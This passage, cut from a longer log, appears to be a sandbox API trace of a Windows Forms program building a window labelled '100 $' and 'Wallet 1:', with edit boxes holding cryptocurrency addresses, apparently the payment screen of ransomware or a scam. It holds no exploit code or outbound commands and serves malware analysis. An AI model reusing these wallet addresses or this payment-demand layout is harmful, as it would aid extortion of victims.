hWnd=0x201e6, Msg=0x2210, wParam=0x1e60001, lParam=0x201e6) returned 0x0 [0180.900] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x201e6, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0180.900] GetParent (hWnd=0x201e6) returned 0x201d0 [0180.900] GetCurrentActCtx (in: lphActCtx=0x1ae050 | out: lphActCtx=0x1ae050*=0x1ac50528) returned 1 [0180.900] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fefc0f0000 [0180.900] GetModuleHandleW (lpModuleName=0x0) returned 0x11d0000 [0180.900] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r12_ad1", lpWindowName="100 $", dwStyle=0x5600000d, X=321, Y=47, nWidth=42, nHeight=15, hWndParent=0x201d0, hMenu=0x0, hInstance=0x11d0000, lpParam=0x0) returned 0x201e8 [0180.900] SetWindowLongPtrW (hWnd=0x201e8, nIndex=-4, dwNewLong=0x7fefc1961b4) returned 0x1b5b20ec [0180.900] GetWindowLongPtrW (hWnd=0x201e8, nIndex=-4) returned 0x7fefc1961b4 [0180.900] SetWindowLongPtrW (hWnd=0x201e8, nIndex=-4, dwNewLong=0x1b5c278c) returned 0x7fefc1961b4 [0180.900] GetWindowLongPtrW (hWnd=0x201e8, nIndex=-4) returned 0x1b5c278c [0180.900] GetWindowLongPtrW (hWnd=0x201e8, nIndex=-16) returned 0x4600000d [0180.900] GetWindowLongPtrW (hWnd=0x201e8, nIndex=-12) returned 0x0 [0180.900] SetWindowLongPtrW (hWnd=0x201e8, nIndex=-12, dwNewLong=0x201e8) returned 0x0 [0180.901] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x201e8, Msg=0x81, wParam=0x0, lParam=0x1ad710) returned 0x1 [0180.901] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x201e8, Msg=0x83, wParam=0x0, lParam=0x1ad7c0) returned 0x0 [0180.901] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x201e8, Msg=0x1, wParam=0x0, lParam=0x1ad6f0) returned 0x0 [0180.901] GetWindow (hWnd=0x201e8, uCmd=0x3) returned 0x201e6 [0180.901] GetClientRect (in: hWnd=0x201e8, lpRect=0x1ad130 | out: lpRect=0x1ad130) returned 1 [0180.901] GetWindowRect (in: hWnd=0x201e8, lpRect=0x1ad130 | out: lpRect=0x1ad130) returned 1 [0180.901] GetParent (hWnd=0x201e8) returned 0x201d0 [0180.901] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x201d0, lpPoints=0x1ad130, cPoints=0x2 | out: lpPoints=0x1ad130) returned -23658755 [0180.901] SetWindowTextW (hWnd=0x201e8, lpString="100 $") returned 1 [0180.901] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x201e8, Msg=0xc, wParam=0x0, lParam=0x28c77f4) returned 0x1 [0180.901] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x201e8, Msg=0x5, wParam=0x0, lParam=0xf002a) returned 0x0 [0180.901] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x201e8, Msg=0x3, wParam=0x0, lParam=0x2f0141) returned 0x0 [0180.901] GetClientRect (in: hWnd=0x201e8, lpRect=0x1ad260 | out: lpRect=0x1ad260) returned 1 [0180.901] GetWindowRect (in: hWnd=0x201e8, lpRect=0x1ad260 | out: lpRect=0x1ad260) returned 1 [0180.901] GetParent (hWnd=0x201e8) returned 0x201d0 [0180.901] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x201d0, lpPoints=0x1ad260, cPoints=0x2 | out: lpPoints=0x1ad260) returned -23658755 [0180.901] SendMessageW (hWnd=0x201e8, Msg=0x2210, wParam=0x1e80001, lParam=0x201e8) returned 0x0 [0180.901] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x201e8, Msg=0x2210, wParam=0x1e80001, lParam=0x201e8) returned 0x0 [0180.902] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x201e8, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0180.902] GetParent (hWnd=0x201e8) returned 0x201d0 [0180.902] GetCurrentActCtx (in: lphActCtx=0x1ae010 | out: lphActCtx=0x1ae010*=0x1ac50528) returned 1 [0180.902] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fefc0f0000 [0180.902] GetModuleHandleW (lpModuleName=0x0) returned 0x11d0000 [0180.902] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.EDIT.app.0.141b42a_r12_ad1", lpWindowName="1CqdSX7SwFB5SKNP8Y8Z21CcUrvHVXTsAd", dwStyle=0x560108c0, X=6, Y=93, nWidth=267, nHeight=16, hWndParent=0x201d0, hMenu=0x0, hInstance=0x11d0000, lpParam=0x0) returned 0x401c8 [0180.902] SetWindowLongPtrW (hWnd=0x401c8, nIndex=-4, dwNewLong=0x7fefc19975c) returned 0x1b5c23cc [0180.902] GetWindowLongPtrW (hWnd=0x401c8, nIndex=-4) returned 0x7fefc19975c [0180.902] SetWindowLongPtrW (hWnd=0x401c8, nIndex=-4, dwNewLong=0x1b5c27dc) returned 0x7fefc19975c [0180.902] GetWindowLongPtrW (hWnd=0x401c8, nIndex=-4) returned 0x1b5c27dc [0180.902] GetWindowLongPtrW (hWnd=0x401c8, nIndex=-16) returned 0x460108c0 [0180.902] GetWindowLongPtrW (hWnd=0x401c8, nIndex=-12) returned 0x0 [0180.902] SetWindowLongPtrW (hWnd=0x401c8, nIndex=-12, dwNewLong=0x401c8) returned 0x0 [0180.902] CallWindowProcW (lpPrevWndFunc=0x7fefc19975c, hWnd=0x401c8, Msg=0x81, wParam=0x0, lParam=0x1ad6d0) returned 0x1 [0180.902] CallWindowProcW (lpPrevWndFunc=0x7fefc19975c, hWnd=0x401c8, Msg=0x83, wParam=0x0, lParam=0x1ad780) returned 0x0 [0180.903] CallWindowProcW (lpPrevWndFunc=0x7fefc19975c, hWnd=0x401c8, Msg=0x1, wParam=0x0, lParam=0x1ad680) returned 0x1 [0180.905] SendMessageW (hWnd=0x401c8, Msg=0x2111, wParam=0x40001c8, lParam=0x401c8) returned 0x0 [0180.905] SendMessageW (hWnd=0x401c8, Msg=0x2111, wParam=0x30001c8, lParam=0x401c8) returned 0x0 [0180.905] SendMessageW (hWnd=0x401c8, Msg=0x2055, wParam=0x401c8, lParam=0x3) returned 0x2 [0180.905] CallWindowProcW (lpPrevWndFunc=0x7769b0ac, hWnd=0x201d0, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x3 [0180.905] GetWindow (hWnd=0x401c8, uCmd=0x3) returned 0x201e8 [0180.905] GetClientRect (in: hWnd=0x401c8, lpRect=0x1ad0f0 | out: lpRect=0x1ad0f0) returned 1 [0180.905] GetWindowRect (in: hWnd=0x401c8, lpRect=0x1ad0f0 | out: lpRect=0x1ad0f0) returned 1 [0180.905] GetParent (hWnd=0x401c8) returned 0x201d0 [0180.905] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x201d0, lpPoints=0x1ad0f0, cPoints=0x2 | out: lpPoints=0x1ad0f0) returned -23658755 [0180.906] GetDC (hWnd=0x0) returned 0x901081c [0180.906] GdipCreateFromHDC (hdc=0x901081c, graphics=0x1acdb8) returned 0x0 [0180.906] CoTaskMemAlloc (cb=0x5c) returned 0x1da23840 [0180.906] GdipGetLogFontW (font=0x1cbe4b80, graphics=0x1cc25910, logfontW=0x1da23840) returned 0x0 [0180.906] CoTaskMemFree (pv=0x1da23840) [0180.906] CoTaskMemAlloc (cb=0x5c) returned 0x1da23840 [0180.906] CoTaskMemFree (pv=0x1da23840) [0180.906] CoTaskMemAlloc (cb=0x5c) returned 0x1da23840 [0180.906] CoTaskMemFree (pv=0x1da23840) [0180.906] GdipDeleteGraphics (graphics=0x1cc25910) returned 0x0 [0180.906] ReleaseDC (hWnd=0x0, hDC=0x901081c) returned 1 [0180.906] CoTaskMemAlloc (cb=0x5c) returned 0x1da23840 [0180.906] CreateFontIndirectW (lplf=0x1da23840) returned 0x1e0a0800 [0180.907] CoTaskMemFree (pv=0x1da23840) [0180.907] SendMessageW (hWnd=0x401c8, Msg=0x30, wParam=0x1e0a0800, lParam=0x0) returned 0x1 [0180.907] CallWindowProcW (lpPrevWndFunc=0x7fefc19975c, hWnd=0x401c8, Msg=0x30, wParam=0x1e0a0800, lParam=0x0) returned 0x1 [0180.907] SendMessageW (hWnd=0x401c8, Msg=0xd3, wParam=0x3, lParam=0x0) returned 0x0 [0180.907] CallWindowProcW (lpPrevWndFunc=0x7fefc19975c, hWnd=0x401c8, Msg=0xd3, wParam=0x3, lParam=0x0) returned 0x0 [0180.907] SetWindowTextW (hWnd=0x401c8, lpString="1CqdSX7SwFB5SKNP8Y8Z21CcUrvHVXTsAd") returned 1 [0180.907] CallWindowProcW (lpPrevWndFunc=0x7fefc19975c, hWnd=0x401c8, Msg=0xc, wParam=0x0, lParam=0x28c831c) returned 0x1 [0180.907] SendMessageW (hWnd=0x401c8, Msg=0x2111, wParam=0x40001c8, lParam=0x401c8) returned 0x0 [0180.907] SendMessageW (hWnd=0x401c8, Msg=0x2111, wParam=0x30001c8, lParam=0x401c8) returned 0x0 [0180.907] LocalAlloc (uFlags=0x0, uBytes=0x34) returned 0x1da22000 [0180.907] SendMessageW (hWnd=0x201d8, Msg=0x432, wParam=0x0, lParam=0x29b25d0) returned 0x1 [0180.908] CallWindowProcW (lpPrevWndFunc=0x7fefc16f450, hWnd=0x201d8, Msg=0x432, wParam=0x0, lParam=0x29b25d0) returned 0x1 [0180.908] CallWindowProcW (lpPrevWndFunc=0x7fefc19975c, hWnd=0x401c8, Msg=0x55, wParam=0x201d8, lParam=0x3) returned 0x2 [0180.908] LocalFree (hMem=0x1da22000) returned 0x0 [0180.908] SendMessageW (hWnd=0x401c8, Msg=0xc5, wParam=0x7fff, lParam=0x0) returned 0x1 [0180.908] CallWindowProcW (lpPrevWndFunc=0x7fefc19975c, hWnd=0x401c8, Msg=0xc5, wParam=0x7fff, lParam=0x0) returned 0x1 [0180.908] CallWindowProcW (lpPrevWndFunc=0x7fefc19975c, hWnd=0x401c8, Msg=0x5, wParam=0x0, lParam=0x10010b) returned 0x0 [0180.908] CallWindowProcW (lpPrevWndFunc=0x7fefc19975c, hWnd=0x401c8, Msg=0x3, wParam=0x0, lParam=0x5d0006) returned 0x0 [0180.908] GetClientRect (in: hWnd=0x401c8, lpRect=0x1aced0 | out: lpRect=0x1aced0) returned 1 [0180.908] GetWindowRect (in: hWnd=0x401c8, lpRect=0x1aced0 | out: lpRect=0x1aced0) returned 1 [0180.908] GetParent (hWnd=0x401c8) returned 0x201d0 [0180.908] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x201d0, lpPoints=0x1aced0, cPoints=0x2 | out: lpPoints=0x1aced0) returned -23658755 [0180.908] SendMessageW (hWnd=0x401c8, Msg=0x2210, wParam=0x1c80001, lParam=0x401c8) returned 0x0 [0180.908] CallWindowProcW (lpPrevWndFunc=0x7fefc19975c, hWnd=0x401c8, Msg=0x2210, wParam=0x1c80001, lParam=0x401c8) returned 0x0 [0180.908] CallWindowProcW (lpPrevWndFunc=0x7fefc19975c, hWnd=0x401c8, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0180.908] GetParent (hWnd=0x401c8) returned 0x201d0 [0180.908] GetCurrentActCtx (in: lphActCtx=0x1ae050 | out: lphActCtx=0x1ae050*=0x1ac50528) returned 1 [0180.909] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fefc0f0000 [0180.909] GetModuleHandleW (lpModuleName=0x0) returned 0x11d0000 [0180.909] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r12_ad1", lpWindowName="Wallet 1:", dwStyle=0x5600000d, X=6, Y=26, nWidth=90, nHeight=19, hWndParent=0x201d0, hMenu=0x0, hInstance=0x11d0000, lpParam=0x0) returned 0x301c6 [0180.909] SetWindowLongPtrW (hWnd=0x301c6, nIndex=-4, dwNewLong=0x7fefc1961b4) returned 0x1b5b20ec [0180.909] GetWindowLongPtrW (hWnd=0x301c6, nIndex=-4) returned 0x7fefc1961b4 [0180.909] SetWindowLongPtrW (hWnd=0x301c6, nIndex=-4, dwNewLong=0x1b5c282c) returned 0x7fefc1961b4 [0180.909] GetWindowLongPtrW (hWnd=0x301c6, nIndex=-4) returned 0x1b5c282c [0180.909] GetWindowLongPtrW (hWnd=0x301c6, nIndex=-16) returned 0x4600000d [0180.909] GetWindowLongPtrW (hWnd=0x301c6, nIndex=-12) returned 0x0 [0180.909] SetWindowLongPtrW (hWnd=0x301c6, nIndex=-12, dwNewLong=0x301c6) returned 0x0 [0180.909] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x301c6, Msg=0x81, wParam=0x0, lParam=0x1ad710) returned 0x1 [0180.910] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x301c6, Msg=0x83, wParam=0x0, lParam=0x1ad7c0) returned 0x0 [0180.910] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x301c6, Msg=0x1, wParam=0x0, lParam=0x1ad6f0) returned 0x0 [0180.910] GetWindow (hWnd=0x301c6, uCmd=0x3) returned 0x401c8 [0180.910] GetClientRect (in: hWnd=0x301c6, lpRect=0x1ad130 | out: lpRect=0x1ad130) returned 1 [0180.910] GetWindowRect (in: hWnd=0x301c6, lpRect=0x1ad130 | out: lpRect=0x1ad130) returned 1 [0180.910] GetParent (hWnd=0x301c6) returned 0x201d0 [0180.910] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x201d0, lpPoints=0x1ad130, cPoints=0x2 | out: lpPoints=0x1ad130) returned -23658755 [0180.910] SetWindowTextW (hWnd=0x301c6, lpString="Wallet 1:") returned 1 [0180.910] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x301c6, Msg=0xc, wParam=0x0, lParam=0x28ca5ac) returned 0x1 [0180.910] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x301c6, Msg=0x5, wParam=0x0, lParam=0x13005a) returned 0x0 [0180.910] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x301c6, Msg=0x3, wParam=0x0, lParam=0x1a0006) returned 0x0 [0180.910] GetClientRect (in: hWnd=0x301c6, lpRect=0x1ad260 | out: lpRect=0x1ad260) returned 1 [0180.910] GetWindowRect (in: hWnd=0x301c6, lpRect=0x1ad260 | out: lpRect=0x1ad260) returned 1 [0180.911] GetParent (hWnd=0x301c6) returned 0x201d0 [0180.911] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x201d0, lpPoints=0x1ad260, cPoints=0x2 | out: lpPoints=0x1ad260) returned -23658755 [0180.911] SendMessageW (hWnd=0x301c6, Msg=0x2210, wParam=0x1c60001, lParam=0x301c6) returned 0x0 [0180.911] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x301c6, Msg=0x2210, wParam=0x1c60001, lParam=0x301c6) returned 0x0 [0180.911] CallWindowProcW (lpPrevWndFunc=0x7fefc1961b4, hWnd=0x301c6, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0180.911] GetParent (hWnd=0x301c6) returned 0x201d0 [0180.911] GetCurrentActCtx (in: lphActCtx=0x1ae010 | out: lphActCtx=0x1ae010*=0x1ac50528) returned 1 [0180.911] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fefc0f0000 [0180.911] GetModuleHandleW (lpModuleName=0x0) returned 0x11d0000 [0180.911] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.EDIT.app.0.141b42a_r12_ad1", lpWindowName="3BaS629MFciJ5cJKHSg4A5vncVok5Hxw7H", dwStyle=0x560108c0, X=6, Y=47, nWidth=267, nHeight=16, hWndParent=0x201d0, hMenu=0x0, hInstance=0x11d0000, lpParam=0x0) returned 0x101f2 [0180.911] SetWindowLongPtrW (hWnd=0x101f2, nIndex=-4, dwNewLong=0x7fefc19975c) returned 0x1b5c23cc [0180.911] GetWindowLongPtrW (hWnd=0x101f2, nIndex=-4) returned 0x7fefc19975c [0180.912] SetWindowLongPtrW (hWnd=0x101f2, nIndex=-4, dwNewLong=0x1b5c287c) returned 0x7fefc19975c [0180.912] GetWindowLongPtrW (hWnd=0x101f2, nIndex=-4) returned 0x1b5c287c [0180.912] GetWindowLongPtrW (hWnd=0x101f2, nIndex=-16) returned 0x460108c0 [0180.912] GetWindowLongPtrW (hWnd=0x101f2, nIndex=-12) returned 0x0 [0180.912] SetWindowLongPtrW (hWnd=0x101f2, nIndex=-12, dwNewLong=0x101f2) returned 0x0 [0180.912] CallWindowProcW (lpPrevWndFunc=0x7fefc19975c, hWnd=0x101f2, Msg=0x81, wParam=0x0, lParam=0x1ad6d0) returned 0x1 [0180.912] CallWindowProcW (lpPrevWndFunc=0x7fefc19975c, hWnd=0x101f2, Msg=0x83, wParam=0x0, lParam=0x1ad780) returned 0x0 [0180.912] CallWindowProcW (lpPrevWndFunc=0x7fefc19975c, hWnd=0x101f2, Msg=0x1, wParam=0x0, lParam=0x1ad680) returned 0x1 [0180.912] SendMessageW (hWnd=0x101f2, Msg=0x2111, wParam=0x40001f2, lParam=0x101f2) returned 0x0 [0180.912] SendMessageW (hWnd=0x101f2, Msg=0x2111, wParam=0x30001f2, lParam=0x101f2) returned 0x0 [0180.913] SendMessageW (hWnd=0x101f2, Msg=0x2055, wParam=0x101f2, lParam=0x3) returned 0x2 [0180.913] CallWindowProcW (lpPrevWndFunc=0x7769b0ac, hWnd=0x201d0, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x3 [0180.913] GetWindow (hWnd=0x101f2, uCmd=0x3) returned 0x301c6 [0180.913] GetClientRect (in: hWnd=0x101f2, lpRect=0x1ad0f0 | out: lpRect=0x1ad0f0) returned 1 [0180.913] GetWindowRect (in: hWnd=0x101f2, lpRect=0x1ad0f0 | out: lpRect=0x1ad0f0) returned 1 [0180.913] GetParent (hWnd=0x101f2) returned 0x201d0 [0180.913] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x201d0, lpPoints=0x1ad0f0, cPoints=0x2 | out: lpPoints=0x1ad0f0) returned -23658755 [0180.914] GetDC (hWnd=0x0) returned 0x901081c [0180.914] GdipCreateFromHDC (hdc=0x901081c, graphics=0x1acdb8) returned 0x0 [0180.914] CoTaskMemAlloc (cb=0x5c) returned 0x1da23840 [0180.914] GdipGetLogFontW (font=0x1cbe4f40, graphics=0x1cc25910, logfontW=0x1da23840) returned 0x0 [0180.914] CoTaskMemFree (pv=0x1da23840) [0180.914] CoTaskMemAlloc (cb=0x5c) returned 0x1da23840 [0180.914] CoTaskMemFree (pv=0x1da23840) [0180.914] CoTaskMemAlloc (cb=0x5c) returned 0x1da23840 [0180.914] CoTaskMemFree (pv=0x1da23840) [0180.914] GdipDeleteGraphics (graphics=0x1cc25910) returned 0x0 [0180.914] ReleaseDC (hWnd=0x0, hDC=0x901081c) returned 1 [0180.914] CoTaskMemAlloc (cb=0x5c) returned 0x1da23840 [0180.914] CreateFontIndirectW (lplf=0x1da23840) returned 0xf0a0801 [0180.915] CoTaskMemFree (pv=0x1da23840) [0180.915] SendMessageW (hWnd=0x101f2, Msg=0x30, wParam=0xf0a0801, lParam=0x0) returned 0x1 [0180.915] CallWindowProcW (lpPrevWndFunc=0x7fefc19975c, hWnd=0x101f2, Msg=0x30, wParam=0xf0a0801, lParam=0x0) returned 0x1 [0180.915] SendMessageW (hWnd=0x101f2, Msg=0xd3, wParam=0x3, lParam=0x0) returned 0x0 [0180.915] CallWindowProcW (lpPrevWndFunc=0x7fefc19975c, hWnd=0x101f2, Msg=0xd3, wParam=0x3, lParam=0x0) returned 0x0 [0180.915] SetWindowTextW (hWnd=0x101f2, lpString="3BaS629MFciJ5cJKHSg4A5vncVok5Hxw7H") returned 1 [0180.915] CallWindowProcW (lpPrevWndFunc=0x7fefc19975c, hWnd=0x101f2, Msg=0xc, wParam=0x0, lParam=0x28cb484) returned 0x1 [0180.915] SendMessageW (hWnd=0x101f2, Msg=0x2111, wParam=0x40001f2, lParam=0x101f2) returned 0x0 [0180.915] SendMessageW (hWnd=0x101f2, Msg=0x2111, wParam=0x30001f2, lParam=0x101f2) returned 0x0 [0180.915] LocalAlloc (uFlags=0x0, uBytes=0x34) returned 0x1da22000 [0180.916] SendMessageW (hWnd=0x201d8, Msg=0x432, wParam=0x0, lParam=0x29b2e50) returned 0x1 [0180.916] CallWindowProcW (lpPrevWndFunc=0x7fefc16f450, hWnd=0x201d8, Msg=0x432, wParam=0x0, lParam=0x29b2e50) returned 0x1 [0180.916] CallWindowProcW (lpPrevWndFunc=0x7fefc19975c, hWnd=0x101f2, Msg=0x55, wParam=0x201d8, lParam=0x3) returned 0x2 [0180.916] LocalFree (hMem=0x1da22000) returned 0x0 [0180.916] SendMessageW (hWnd=0x101f2, Msg=0xc5, wParam=0x7fff, lParam=0x0) returned 0x1 [0180.916] CallWindowProcW (lpPrevWndFunc=0x7fefc19975c, hWnd=0x101f2, Msg=0xc5, wParam=0x7fff, lParam=0x0) returned 0x1 [0180.916] CallWindowProcW (lpPrevWndFunc=0x7fefc19975c, hWnd=0x101f2, Msg=0x5, wParam=0x0, lParam=0x10010b) returned 0x0 [0180.916] CallWindowProcW (lpPrevWndFunc=0x7fefc19975c, hWnd=0x101f2, Msg=0x3, wParam=0x0, lParam=0x2f0006) returned 0x0 [0180.916] GetClientRect (in: hWnd=0x101f2, lpRect=0x1aced0 | out: lpRect=0x1aced0) returned 1 [0180.916] GetWindowRect (in: hWnd=0x101f2, lpRect=0x1aced0 | out: lpRect=0x1aced0) returned 1 [0180.916] GetParent (hWnd=0x101f2) returned 0x201d0 [0180.916] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x201d0, lpPoints=0x1aced0, cPoints=0x2 | out: lpPoints=0x1aced0) returned -23658755 [0180.916] SendMessageW (hWnd=0x101f2, Msg=0x2210, wParam=0x1f20001, lParam=0x101f2) returned 0x0 [0180.916] CallWindowProcW (lpPrevWndFunc=0x7fefc19975c, hWnd=0x101f2, Msg=0x2210, wParam=0x1f20001, lParam=0x101f2) returned 0x0 [0180.916] CallWindowProcW (lpPrevWndFunc=0x7fefc19975c, hWnd=0x101f2, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0180.916] GetParent (hWnd=0x101f2) returned 0x201d0 [0180.916] GetCurrentActCtx (in: lphActCtx=0x1ae0c0 | out: lphActCtx=0x1ae0c0*=0x1ac50528) returned 1 [0180.917] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fefc0f0000 [0180.917] GetModuleHandleW (lpModuleName=0x0) returned 0x11d0000 [0180.917] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.Window.8.app.0.141b42a_r12_ad1", lpWindowName=0x0, dwStyle=0x56000000, X=430, Y=33, nWidth=497, nHeight=533, hWndParent=0x60126, hMenu=0x0, hInstance=0x11d0000, lpParam=0x0) returned 0x101f4 [0180.917] SetWindowLongPtrW (hWnd=0x101f4, nIndex=-4, dwNewLong=0x7769b0ac) returned 0x1b5b13ec [0180.917] GetWindowLongPtrW (hWnd=0x101f4, nIndex=-4) returned 0x7769b0ac [0180.917] SetWindowLongPtrW (hWnd=0x101f4, nIndex=-4, dwNewLong=0x1b5c28cc) returned 0x7769b0ac [0180.917] GetWindowLongPtrW (hWnd=0x101f4, nIndex=-4) returned 0x1b5c28cc [0180.917] GetWindowLongPtrW (hWnd=0x101f4, nIndex=-16) returned 0x46000000 [0180.917] GetWindowLongPtrW (hWnd=0x101f4, nIndex=-12) returned 0x0 [0180.917] SetWindowLongPtrW (hWnd=0x101f4, nIndex=-12, dwNewLong=0x101f4) returned 0x0 [0180.917] CallWindowProcW (lpPrevWndFunc=0x7769b0ac, hWnd=0x101f4, Msg=0x81, wParam=0x0, lParam=0x1ad780) returned 0x1 [0180.917] CallWindowProcW (lpPrevWndFunc=0x7769b0ac, hWnd=0x101f4, Msg=0x83, wParam=0x0, lParam=0x1ad830) returned 0x0 [0180.918] CallWindowProcW (lpPrevWndFunc=0x7769b0ac, hWnd=0x101f4, Msg=0x1, wParam=0x0, lParam=0x1ad780) returned 0x0 [0180.918] GetWindow (hWnd=0x101f4, uCmd=0x3) returned 0x201d0 [0180.918] GetClientRect (in: hWnd=0x101f4, lpRect=0x1ad240 | out: lpRect=0x1ad240) returned 1 [0180.918] GetWindowRect (in: hWnd=0x101f4, lpRect=0x1ad240 | out: lpRect=0x1ad240) returned 1 [0180.918] GetParent (hWnd=0x101f4) returned 0x60126 [0180.918] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x60126, lpPoints=0x1ad240, cPoints=0x2 | out: lpPoints=0x1ad240) returned -7340282 [0180.918] CallWindowProcW (lpPrevWndFunc=0x7769b0ac, hWnd=0x101f4, Msg=0x5, wParam=0x0, lParam=0x21501f1) returned 0x0 [0180.918] CallWindowProcW (lpPrevWndFunc=0x7769b0ac, hWnd=0x101f4, Msg=0x3, wParam=0x0, lParam=0x2101ae) returned 0x0 [0180.918] GetClientRect (in: hWnd=0x101f4, lpRect=0x1ad350 | out: lpRect=0x1ad350) returned 1 [0180.918] GetWindowRect (in: hWnd=0x101f4, lpRect=0x1ad350 | out: lpRect=0x1ad350) returned 1 [0180.918] GetParent (hWnd=0x101f4) returned 0x60126 [0180.918] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x60126, lpPoints=0x1ad350, cPoints=0x2 | out: lpPoints=0x1ad350) returned -7340282 [0180.918] SendMessageW (hWnd=0x101f4, Msg=0x2210, wParam=0x1f40001, lParam=0x101f4) returned 0x0 [0180.918] CallWindowProcW (lpPrevWndFunc=0x7769b0ac, hWnd=0x101f4, Msg=0x2210, wParam=0x1f40001, lParam=0x101f4) returned 0x0 [0180.919] CallWindowProcW (lpPrevWndFunc=0x7769b0ac, hWnd=0x101f4, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0180.919] GetParent (hWnd=0x101f4) returned 0x60126 [0180.919] GetCurrentActCtx (in: lphActCtx=0x1ae0c0 | out: lphActCtx=0x1ae0c0*=0x1ac50528) returned 1 [0180.919] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fefc0f0000 [0180.919] GetModuleHandleW (lpModuleName=0x0) returned 0x11d0000 [0180.919] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.Window.8.app.0.141b42a_r12_ad1", lpWindowName=0x0, dwStyle=0x56000000, X=9, Y=-42, nWidth=400, nHeight=150, hWndParent=0x60126, hMenu=0x0, hInstance=0x11d0000, lpParam=0x0) returned 0x101f6 [0180.919] SetWindowLongPtrW (hWnd=0x101f6, nIndex=-4, dwNewLong=0x7769b0ac) returned 0x1b5b13ec [0180.919] GetWindowLongPtrW (hWnd=0x101f6, nIndex=-4) returned 0x7769b0ac [0180.919] SetWindowLongPtrW (hWnd=0x101f6, nIndex=-4, dwNewLong=0x1b5c291c) returned 0x7769b0ac [0180.919] GetWindowLongPtrW (hWnd=0x101f6, nIndex=-4) returned 0x1b5c291c [0180.920] GetWindowLongPtrW (hWnd=0x101f6, nIndex=-16) returned 0x46000000 [0180.920] GetWindowLongPtrW (hWnd=0x101f6, nIndex=-12) returned 0x0 [0180.920] SetWindowLongPtrW (hWnd=0x101f6, nIndex=-12, dwNewLong=0x101f6) returned 0x0 [0180.920] CallWindowProcW (lpPrevWndFunc=0x7769b0ac, hWnd=0x101f6, Msg=0x81, wParam=0x0, lParam=0x1ad780) returned 0x1 [0180.920] CallWindowProcW (lpPrevWndFunc=0x7769b0ac, hWnd=0x101f6, Msg=0x83, wParam=0x0, lParam=0x1ad830) returned 0x0 [0180.920] CallWindowProcW (lpPrevWndFunc=0x7769b0ac, hWnd=0x101f6, Msg=0x1, wParam=0x0, lParam=0x1ad780) returned 0x0 [0180.920] GetWindow (hWnd=0x101f6, uCmd=0x3) returned 0x101f4 [0180.920] GetClientRect (in: hWnd=0x101f6, lpRect=0x1ad240 | out: lpRect=0x1ad240) returned 1 [0180.920] GetWindowRect (in: hWnd=0x101f6, lpRect=0x1ad240 | out: lpRect=0x1ad240) returned 1 [0180.920] GetParent (hWnd=0x101f6) returned 0x60126 [0180.920] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x60126, lpPoints=0x1ad240, cPoints=0x2 | out: lpPoints=0x1ad240) returned -7340282 [0180.920] CallWindowProcW (lpPrevWndFunc=0x7769b0ac, hWnd=0x101f6, Msg=0x5, wParam=0x0, lParam=0x960190) returned 0x0 [0180.920] CallWindowProcW (lpPrevWndFunc=0x7769b0ac, hWnd=0x101f6, Msg=0x3, wParam=0x0, lParam=0xffffffffffd60009) returned 0x0 [0180.921] GetClientRect (in: hWnd=0x101f6, lpRect=0x1ad350 | out: lpRect=0x1ad350) returned 1 [0180.921] GetWindowRect (in: hWnd=0x101f6, lpRect=0x1ad350 | out: lpRect=0x1ad350) returned 1 [0180.921] GetParent (hWnd=0x101f6) returned 0x60126 [0180.921] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x60126, lpPoints=0x1ad350, cPoints=0x2 | out: lpPoints=0x1ad350) returned -7340282 [0180.921] SendMessageW (hWnd=0x101f6, Msg=0x2210, wParam=0x1f60001, lParam=0x101f6) returned 0x0 [0180.921] CallWindowProcW (lpPrevWndFunc=0x7769b0ac, hWnd=0x101f6, Msg=0x2210, wParam=0x1f60001, lParam=0x101f6) returned 0x0 [0180.921] CallWindowProcW (lpPrevWndFunc=0x7769b0ac, hWnd=0x101f6, 